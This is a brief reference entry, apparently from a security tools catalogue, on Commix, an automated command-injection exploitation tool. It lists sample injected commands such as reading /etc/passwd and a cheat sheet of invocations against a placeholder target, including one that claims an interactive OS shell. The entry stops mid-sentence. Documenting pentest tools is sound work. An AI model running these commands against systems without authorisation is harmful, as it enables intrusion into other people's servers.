Commix
Category: Web Application Exploitation
Language: Python
Type: Command Injection Automation
📘 Definition & Purpose
Commix (Command Injection Exploiter) is an automated tool designed to detect and exploit command injection vulnerabilities in web applications.
🧪 Core Mechanics
Commix identifies injection points in GET/POST variables and injects operating system commands (e.g. cat /etc/passwd, whoami, shell pipes) to hijack host command environments.
🚀 Usage & Cheat Sheet
# Scan parameter for command injection vulnerabilities
python3 commix.py --url="https://target.com/execute?cmd=test"
# Exploit and claim an interactive OS shell
python3 commix.py --url="https://target.com/execute?cmd=test" --os-shell
# Run scan using custom HTTP Headers and Cookie values
python3 commix.py --url="https://target.com/execute?cmd=test" --headers="Cookie: admin=1"
🔗 Integration
This tool is utilized across the: